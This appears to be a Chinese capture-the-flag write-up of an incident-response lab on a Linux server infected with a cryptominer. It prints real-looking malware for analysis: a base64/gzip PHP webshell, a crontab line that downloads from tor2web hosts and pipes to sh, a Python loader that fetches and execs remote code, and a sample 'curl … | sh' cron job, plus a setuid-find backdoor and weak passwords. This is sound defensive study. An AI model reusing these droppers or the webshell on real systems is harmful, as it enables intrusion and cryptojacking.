赞
踩
题目链接:第五章 linux实战-挖矿
三连私信免费送玄机注册邀请码私信!!!看见就回!!注意私信!!
什么是Liunx挖矿?
Linux挖矿指的是利用Linux操作系统下的计算资源进行加密货币(如比特币、以太坊等)的挖掘(Mining)活动。
1. 挖矿的基本概念
挖矿是通过计算复杂的数学问题来验证和记录加密货币交易的过程。矿工(挖矿者)提供计算能力来维护区块链网络的安全性,并因此获得加密货币作为奖励。挖矿过程需要大量的计算能力,因此通常使用专门的硬件(如ASIC矿机)或者高性能的计算设备。
2. Linux挖矿的优势
3. Linux挖矿的常见工具和软件
4. 恶意挖矿
近年来,恶意挖矿(cryptojacking)成为了网络安全的一大威胁。攻击者利用恶意软件入侵Linux服务器,利用受害者的计算资源进行挖矿。常见的恶意挖矿手段包括:
总结
Linux挖矿是一种利用Linux操作系统进行加密货币挖掘的活动,具有成本低、稳定性高等优势。但是,也需要注意防范恶意挖矿行为,保护系统的安全性。
应急响应工程师在内网服务器发现有台主机 cpu 占用过高,猜测可能是中了挖矿病毒,请溯源分析,提交对应的报告给应急小组
虚拟机账号密码 root websecyjxy web 端口为 8081
1、黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1}
2、黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24}
3、黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass}
4、黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd}
5、对黑客上传的挖矿病毒进行分析,获取隐藏的Flag
使用Xshell与XFTP都同时连上靶机,因为这里我们都会用到,XFTP连上的同时把源码下载下来(这里的源码不像之前的直接是WWW目录,还需要我自己找一会),后面分析webshell时会用到,至于Xshell我们就正常分析;
XShell连接成功;
XFtp连接成功;(这里为了省点金币提前下载好源码,先直接找到web目录:/www/admin/websec_80/wwwroot)
下载源码,右键传输,位置选一个自己能找到的即可;(web目录下:/www/admin/websec_80/wwwroot)
解题思路
连接成功,问我们黑客的IP,那记录黑客地方也就只有日志,那要找到日志,我们这边有两种办法一种直接查找“.log”结尾,或者第二种直接找到web目录下的日志(这里就需要翻XFTP找到相对于的日志),还有一种就是直接找“.php”最多的地方,这三种方法都是可以找到日志,下面进行实践;
1、定位“.log”找到web目录下日志:
find / -name "*.log"
前面这都是一些无关紧要的日志肯定不会记有黑客的IP,往下翻一点就发现了Nginx的目录;
/www/admin/websec_80/log/nginx_access_2023-12-22.log
/www/admin/websec_80/log/nginx_access_2023-12-28.log
/www/admin/websec_80/log/nginx_access_2024-06-25.log
2、定位“.php”同样可以找到web目录日志;
find / -name "*.php"
也是发现了网站的根目录:/www/admin/websec_80/wwwroot/
这里其实也是之前为什么能发现web目录源码的原因;
3、直接使用Xftp找到web目录下的Nginx日志进行传输并且分析
Nginx日志简介
1、Nginx是一个高性能的HTTP和反向代理服务器,广泛用于Web服务器。Nginx日志记录了服务器的运行情况和客户端的访问行为,是Web服务器管理和安全分析的重要工具。
2、Nginx日志是Web服务器的重要组成部分,通过日志可以监控、管理和优化服务器,确保其高效、安全运行。访问日志记录了所有客户端的请求,帮助分析流量和用户行为;错误日志记录了服务器运行中的错误,帮助快速定位和解决问题。
所以最后,不管那一种方法都是可以锁定黑客的IP,主要是请求太频繁了,所以IP也就特别多,一眼就看见了;
这里使用cat进行查看;
cat nginx_access_2023-12-22.log
发现特别多(眼睛要瞎了。。。。看着眼花);
日志有很多,正常的根本就看不过来,那我们就可以筛选并且统计一下IP出现的次数,那既然植入了挖矿病毒肯定访问的IP次数最多,再不济肯定不少;
cut -d- -f 1 nginx_access_2023-12-22.log|uniq -c | sort -rn | head -20
命令分析:(其实这个命令用不用都无所谓,毕竟太明显了)
nginx_access_2023-12-22.log
文件中提取每一行的第一个字段(IP 地址)。总结;
这个命令的主要目的是从 nginx_access_2023-12-22.log
文件中提取出访问日志中的 IP 地址,并统计每个 IP 地址的访问次数。然后,它按访问次数排序,并显示访问次数最多的前 20 个 IP 地址。
得到;
这下好了出来的都是同一个IP,那就母庸质疑了;
flag{192.168.10.135}
解题思路
问我们黑客攻陷的具体时间,那我们首先需要清楚网站是什么,其实在之前的日志里面就看见很多条访问dede的访问记录,dede全 称:dedecms;(下面有介绍)
所以我们直接尝试访问一下试试看;
http://192.168.10.139/dede/
不难看出基本都是以这个为中心向外衍生,所以我们可以尝试一下自己的IP加上dede试试看,其实了解dede的朋友就会知道这个是一基于PHP和MySQL开发的开源内容管理系统,广泛用于构建各类网站,包括企业门户、个人博客、电子商务等。
文件路径和请求:
/dede/
和 /js/
,例如 /dede/js/codemirror.js
和 /dede/sys_repair.php
。这些路径表明涉及到了DedeCMS的系统文件或功能模块。系统维护和开发:
sys_repair.php
这样的文件来进行系统修复或管理操作。管理员可能会定期检查和维护网站,确保其正常运行和安全性。安全性和维护:
关于JavaScript文件:
codemirror.js
和 sql.js
可能是用于实现网站的前端功能或特定插件。在开发和维护阶段,管理员可能会下载、更新或定制这些文件,以确保网站的正常运行和用户体验。综上所述,DedeCMS作为一种广泛使用的CMS系统,与提供的日志内容有关系,说明管理员或开发人员在维护和管理DedeCMS网站时的常规活动。
所以我们直接尝试本地IP加上dede直接访问试试看;
一直没访问成功,后来发现原来是端口不同:
简单来说就是如果Web服务器被配置为在非标准端口(如8081)上监听HTTP请求,则必须在URL中明确指定该端口(例如,
http://161.189.52.18:8081/dede
),否则浏览器会默认使用端口80,导致连接失败。(难怪之前我说简介里特意写了端口8081)
161.189.201.250:8081/dede
得到;
一开始以为是爆破的,但是看见有个验证码发现不能绕过,后来直接挨个尝试一下弱口令得到;
用户名:admin
密码:12345678
一进去就发现了安全提示,那我们点击修改;
发现黑客添加了新的用户;(hacker)
尝试提交一下这个添加用户的时间,发现正确;
flag{2023-12-22 19:08:34}
总结:
在系统用户管理功能发现黑客创建的hacker用户,登录时间即为黑客攻陷网站的时间;
常见弱口令集合;
1. 简单的数字密码
2. 常见的单词和短语
3. 重复字符或模式
4. 默认账户密码
5. 个人信息相关
6. 简单替换密码
P@ssw0rd
Pa$$w0rd
Passw0rd
解题思路
题目问我们黑客上传的webshell的文件名还有密码是什么,查webshell最快又有效的方法就是找到源码并且下载丢进工具里面进行扫描,比手工找不要好太多,当然有工具的情况下是这样的,那之前我们就已经导出过web服务器的源码,这里我们直接丢进去即可;
目录:/www/admin/websec_80/wwwroot
一会就扫出来了,“已知后门”,那就继续跟进,找到这个目录下的这个文件;
右键记事本打开发现;
<?php
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
?>
我们来简单分析一下;
Base64 解码: 使用 base64_decode()
函数对字符串 'eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='
进行 Base64 解码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的编码方式,便于在文本环境中传输数据。
Gzip 解压缩: 使用 gzuncompress()
函数对解码后的数据进行 Gzip 解压缩。Gzip 是一种用于文件压缩的算法。
输出结果: 使用 echo
函数将解压缩后的结果输出。
具体的解码和解压缩操作如下:
Base64 解码: 'eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='
解码后得到一个二进制字符串。
Gzip 解压缩: 解码后的二进制字符串经过 gzuncompress()
解压缩,得到 eval($_POST['cmd']);
。
复制下来找个可以运行php代码的直接运行;(这里我用的kali,kali自带PHP代码运行)
运行得到密码;
flag{404.php-cmd}
那有的人就要问了,为什么就可以确认cmd就是密码?
在Web安全中,特别是在PHP后门木马的情况下,将参数命名为cmd
是因为它通常用于传递命令,这种做法被攻击者广泛使用来执行任意代码或命令。在eval($_POST['cmd']);
这种情况下,cmd
并不是传统意义上的密码,但它起到了类似的作用,因为它允许攻击者向服务器发送任意命令来执行。这里的cmd
充当了一个“后门”,使得只有知道这个参数并发送适当命令的人才能利用这个漏洞。
所以严格来说也并不是密码,但是充当了密码的作用;
解题思路
可以说这题四是来送福利的,为什么这样说捏?,如果了解一些Liunx基础命令的可能就知道liunx是可以查看历史命令从而分析,到底提权后的文件是什么;(没删历史 命令的情况下这样做无疑是最简单易懂的)
所以这里我们直接反手一个;
history
一眼看过去就发现了这个特别的chmod,那我们简单来分析一下;
chmod 4775 /usr/bin/find
文件权限与 chmod
在Linux和类Unix系统中,文件权限由三部分组成:所有者(user),组(group),和其他人(others)。每一部分都包含读(r),写(w),执行(x)权限。权限可以用数字表示,例如:
4
代表读 (r
)2
代表写 (w
)1
代表执行 (x
)所以7
代表读、写、执行 (rwx
) 权限。
命令分析
chmod 4775 /usr/bin/find
将 /usr/bin/find
文件的权限修改为 4775
。
4
是 setuid 位。7
是所有者的权限(读、写、执行)。7
是组的权限(读、写、执行)。5
是其他用户的权限(读、执行)。具体来说,这意味着:
4
):任何用户运行 /usr/bin/find
时,都将以文件所有者(通常是root)的权限来执行。rwx
(读、写、执行)权限。rwx
(读、写、执行)权限。rx
(读、执行)权限。总结
运行 chmod 4775 /usr/bin/find
命令后:
/usr/bin/find
将获得 setuid 权限,使任何用户在执行 find
命令时以文件所有者的权限运行(通常是root)。所以不用怀疑了黑客提权后设置的后门文件就是find,那按照提交格式来:flag{/etc/passwd}
flag{/usr/bin/find}
可能会有人问既然是提权chomd,那上面那个文件怎么不是?
因为我尝试提交了发现不对。。。。
解题思路
让我们找到上传的挖矿病毒进行分析,那首先就是需要找到挖矿病毒在哪里吧?那话又说回来了咋才能找到挖矿病毒捏,其实这是有一套流程的,细说;
查找挖矿病毒
检查CPU使用情况: 挖矿病毒通常会占用大量的CPU资源。使用以下命令检查系统资源使用情况:
top htop
查找异常的高CPU使用进程。
检查网络连接: 挖矿病毒会尝试连接到远程服务器进行挖矿。使用以下命令检查当前的网络连接:
netstat -antp lsof -i
查找可疑的网络连接和对应的进程。
检查运行的进程: 查找异常的进程或未知的进程。使用以下命令:
ps aux
查找不熟悉的进程,特别是那些以高权限运行的进程。
检查计划任务: 挖矿病毒可能会通过计划任务定期运行。使用以下命令检查计划任务:
crontab -l ls -la /etc/cron.*
查找可疑的计划任务。
检查系统日志: 系统日志可以提供关于挖矿病毒活动的重要线索。检查以下日志文件:
/var/log/syslog /var/log/auth.log /var/log/messages
检查开机启动项
检查系统服务: 挖矿病毒可能会添加恶意服务。使用以下命令检查启动服务:
systemctl list-unit-files --type=service
查找可疑的服务。
检查启动项: 挖矿病毒可能会添加启动项使其在系统启动时自动运行。使用以下命令检查启动项:
ls /etc/init.d/ ls /etc/rc*.d/ ls /etc/systemd/system/
检查用户启动项: 用户目录中的启动项也可能被利用。检查以下目录:
ls ~/.config/autostart/ ls ~/.config/systemd/user/
使用自动化工具: 使用安全工具和反恶意软件工具扫描系统。这些工具可以帮助检测和删除挖矿病毒:
chkrootkit rkhunter clamav
安装并运行这些工具以检测恶意软件。
总结
查找挖矿病毒需要多方面的检查,包括CPU使用情况、网络连接、运行的进程、计划任务和系统日志。检查开机启动项则需要查看系统服务、启动项和用户启动项。使用自动化工具可以进一步提高检测效率。
基本上就是这一套流程(反正就是看这没有,那就去看那,找呗反正就那么点地方还能藏哪里?),那这题我们是在开启启动项里面发现了可疑任务;(etc/crontab)
得到;
SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed */7 * * * * root R=$(shuf -i 1-29 -n 1); sleep ${R:-0}; BP=$(dirname "$(command -v yes)"); BP=${BP:-"/usr/bin"};G1="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then G1="echo";for f in ${BP}/*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break; done; fi; G2="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then G2="echo"; for f in ${BP}/*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && G2="$f" && break; done; fi; if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; C=" -fsSLk --connect-timeout 26 --max-time 75 "; W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 "; H="https://an7kmd2wp4xo7hpr"; T1=".tor2web.su/"; T2=".d2web.org/"; T3=".onion.sh/"; P="src/ldm"; ($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &
那这里我们简单分析一下;
这段crontab任务的目的是执行一个恶意脚本,可能用于下载和运行挖矿病毒。
每7分钟执行一次:
*/7 * * * * root
这条任务定义了一个每7分钟执行一次的计划任务,运行的用户是root
。
随机延迟:
R=$(shuf -i 1-29 -n 1); sleep ${R:-0};
通过生成一个1到29之间的随机数并休眠该随机时间,避免所有受感染机器同时访问恶意服务器,增加隐蔽性。
寻找curl
命令:
BP=$(dirname "$(command -v yes)"); BP=${BP:-"/usr/bin"}; G1="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then G1="echo"; for f in ${BP}/*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break; done; fi;
这段代码尝试找到curl
命令,如果没有安装curl
,则在指定目录中查找包含字符串CURLOPT_VERBOSE
的可执行文件。
寻找wget
命令:
G2="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then G2="echo"; for f in ${BP}/*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && G2="$f" && break; done; fi;
这段代码尝试找到wget
命令,如果没有安装wget
,则在指定目录中查找包含字符串to <bug-wget@gnu.org>
的可执行文件。
修改/etc/hosts
文件:
if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;
这段代码检查/etc/hosts
文件中是否包含与Tor相关的域名(如onion.
、timesync.su
、tor2web
),如果找到则重置/etc/hosts
文件,使其只包含127.0.0.1 localhost
,这可能是为了防止恶意软件被检测到。
定义常量:
C=" -fsSLk --connect-timeout 26 --max-time 75 "; W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 "; H="https://an7kmd2wp4xo7hpr"; T1=".tor2web.su/"; T2=".d2web.org/"; T3=".onion.sh/"; P="src/ldm";
这些常量定义了连接参数和目标URL的一部分。
下载并执行恶意脚本:
($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &
这段代码使用curl
或wget
从三个不同的域名下载恶意脚本并通过管道传递给sh
解释器执行。
总结
这段crontab任务会每7分钟执行一次,从指定的URL下载并运行一个恶意脚本。它具有以下特征:
curl
或wget
下载恶意脚本,具有较好的兼容性和隐蔽性。/etc/hosts
文件,防止与Tor相关的域名被检测到。这种行为很典型,常见于挖矿病毒和其他恶意软件。
木马名称为ldm
,为什么这样确定?
代码分析
URL路径的部分:
P="src/ldm";
在这段代码中,P
变量被赋值为src/ldm
。这个变量随后被用作下载URL的一部分:
($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &
在上述代码中,$H$T1$P
、$H$T2$P
、$H$T3$P
构成了完整的下载URL。这意味着恶意脚本将从如下地址下载:
https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm
https://an7kmd2wp4xo7hpr.d2web.org/src/ldm
https://an7kmd2wp4xo7hpr.onion.sh/src/ldm
文件名的惯例: 恶意软件和木马通常使用不同的文件名来避免被检测,但从这个下载路径中,可以推测恶意软件可能使用了ldm
作为其名称或文件名的一部分。这种路径中的ldm
可能代表了恶意软件的实际名称。
从代码行为推测
恶意脚本的行为包括:
下载文件并执行:
($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &
这个行为表明下载的文件是可执行的或包含可执行的恶意代码。结合下载路径src/ldm
,可以合理推断文件名和恶意软件的名称可能是ldm
。
其他方面
恶意软件的名称有时会直接嵌入到其路径、文件名或其代码中,这些都是常见的惯例:
src/ldm
: src
通常代表源代码或资源文件目录,而ldm
可能是文件名或模块名,这在恶意软件中也是常见的命名方式。结论
综合上述分析,我们可以合理推测这个恶意软件的名称或其一部分是ldm
。尽管具体名称可能会有变化,但从代码中引用的路径和行为来看,ldm
就是木马。
那我们尝试定位一下具体位置;
find / -name "ldm"
跟进过去查看;
/etc/.cache/ldm
别的巴拉巴拉一大堆或许可能不认识,但是这个我们肯定知道;
function e() {
${sudo} nohup python2 -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IGJhc2U2NAppbXBvcnQgdXJsbGliMgppbXBvcnQgc3NsCkhPU1Q9Imh0dHBzOi8vYW43a21kMndwNHhvN2hwciIKUlBBVEgxPSJzcmMvc2MiCmQxPUhPU1QrIi50b3Iyd2ViLnN1LyIrUlBBVEgxCmQzPUhPU1QrIi5vbmlvbi5zaC8iK1JQQVRIMQpkMj1IT1NUKyIudG9yMndlYi5pby8iK1JQQVRIMQpkZWYgbGQodXJsLCB0KToKICAgIHRyeToKICAgICAgICBjdHggPSBzc2wuY3JlYXRlX2RlZmF1bHRfY29udGV4dCgpCiAgICAgICAgY3R4LmNoZWNrX2hvc3RuYW1lID0gRmFsc2UKICAgICAgICBjdHgudmVyaWZ5X21vZGUgPSBzc2wuQ0VSVF9OT05FCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIGN0eD1GYWxzZQogICAgaWYgY3R4OgogICAgICAgICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIyLnVybG9wZW4odXJsLHRpbWVvdXQ9dCxjb250ZXh0PWN0eCkucmVhZCgpKQogICAgZWxzZToKICAgICAgICAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliMi51cmxvcGVuKHVybCx0aW1lb3V0PXQpLnJlYWQoKSkKICAgIHJldHVybiBwYWdlCnRyeToKICAgIHRyeToKICAgICAgICBwYWdlPWxkKGQxLCA0MSkKICAgICAgICBleGVjKHBhZ2UpCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHBhZ2U9bGQoZDIsIDQxKQogICAgICAgIGV4ZWMocGFnZSkKZXhjZXB0IEV4Y2VwdGlvbjoKICAgIHBhZ2U9bGQoZDMsIDQxKQogICAgZXhlYyhwYWdlKQogICAgcGFzcw=='))" >/dev/null 2>&1 &
touch "${LPATH}.aYn0N29e2MItcV7Di2udY4Idnd0zOC6qsDf"
}
简单分析一下;
这段代码是恶意软件(挖矿病毒或木马)的安装脚本。它利用 Python2 解释器执行了一段经过 Base64 编码的脚本。以下是该代码的分析:
Base64 解码:
exec(base64.b64decode(...))
部分是将 Base64 编码的数据解码并执行。这是为了隐藏真正的恶意代码,使其不易被直接识别。#coding: utf-8
import base64
import urllib2
import ssl
HOST=“https://an7kmd2wp4xo7hpr”
RPATE1=“src/sc”
d1=HOST+“.tor2web.su/”+RPATE1
d3=HOST+“.onion.sh/”+RPATE1
d2=HOST+“.tor2web.io/”+RPATE1
def ld(url, t):
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
except Exception:
ctx=False
if ctx:
page=base64.b64decode(urllib2.urlopen(url,timeout=t,context=ctx).read())
else:
page=base64.b64decode(urllib2.urlopen(url,timeout=t).read())
return page
try:
try:
page=ld(d1, 41)
exec(page)
except Exception:
page=ld(d2, 41)
exec(page)
except Exception:
page=ld(d3, 41)
exec(page)
pass
功能分析:
.tor2web.su
、.onion.sh
、和 .tor2web.io
域名)下载并执行 Base64 编码的 Python 脚本。影响:
其他操作:
nohup
和 &
使得该脚本在后台运行,并且在用户退出终端后继续执行。touch "${LPATH}.aYn0N29e2MItcV7Di2udY4Idnd0zOC6qsDf"
这行代码创建了一个空文件,可能用于标记脚本的执行状态。总结
这段代码很明显是恶意代码,从远程服务器下载并执行隐藏的恶意脚本。它通过 SSL 连接和多重 URL 尝试来提高成功率,并使用 Base64 编码来隐藏实际内容。
分析一下发现没啥有用的,那我们继续往下翻,又看见一个python的base脚本;
简单分析一下;(base64在线解码)
nohup python2 -c "import base64;exec(base64.b64decode('aW1wb3J0IHRpbWUKd2hpbGUgMToKICAgIHByaW50KCJmbGFne3dlYnNlY19UcnVlQDg4OCF9IikKICAgIHRpbWUuc2xlZXAoMTAwMCk='))" >/dev/null 2>&1
这段代码使用 nohup
和 python2
在后台执行一段 Base64 编码的 Python 脚本,并将输出重定向到 /dev/null
,使其不产生任何输出。
Base64 解码:
base64.b64decode
函数解码 Base64 编码的字符串 'aW1wb3J0IHRpbWUKd2hpbGUgMToKICAgIHByaW50KCJmbGFne3dlYnNlY19UcnVlQDg4OCF9IikKICAgIHRpbWUuc2xlZXAoMTAwMCk='
,解码得到;
import time
while 1:
print("flag{websec_True@888!}")
time.sleep(1000)`
解码后的 Python 脚本分析:
import time
: 导入 time
模块。while 1:
: 进入一个无限循环。print("flag{websec_True@888!}")
: 每次循环打印字符串 "flag{websec_True@888!}"
。time.sleep(1000)
: 每次循环后暂停 1000 秒(即约 16 分钟)。整体执行流程:
nohup
:该命令确保脚本在后台运行,即使用户退出终端会话,脚本仍然继续执行。python2 -c "..."
:使用 python2
解释器执行 -c
参数后的命令。import base64;exec(base64.b64decode('...'))
:导入 base64
模块,解码并执行 Base64 编码的字符串。>/dev/null 2>&1
:将标准输出和标准错误输出重定向到 /dev/null
,使得脚本不产生任何输出。总结
这段代码使用 nohup
和 python2
在后台运行一个无限循环的 Python 脚本。该脚本每隔 1000 秒打印一次 "flag{websec_True@888!}"
,并且所有输出都被重定向到 /dev/null
,因此不会显示在终端或日志中。
所以答案就很明显了;
flag{websec_True@888!}
示例:检查cron作业
crontab -l
示例输出可能是:
* * * * * curl -fsSL http://malicious.site/miner.sh | sh
这个cron作业每分钟下载并执行恶意脚本 miner.sh
。
示例:检查系统服务
systemctl list-unit-files --type=service
查找输出中不熟悉的服务,如:
miner.service enabled
可以使用以下命令禁用和删除该服务:
sudo systemctl disable miner.service sudo rm /etc/systemd/system/miner.service
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。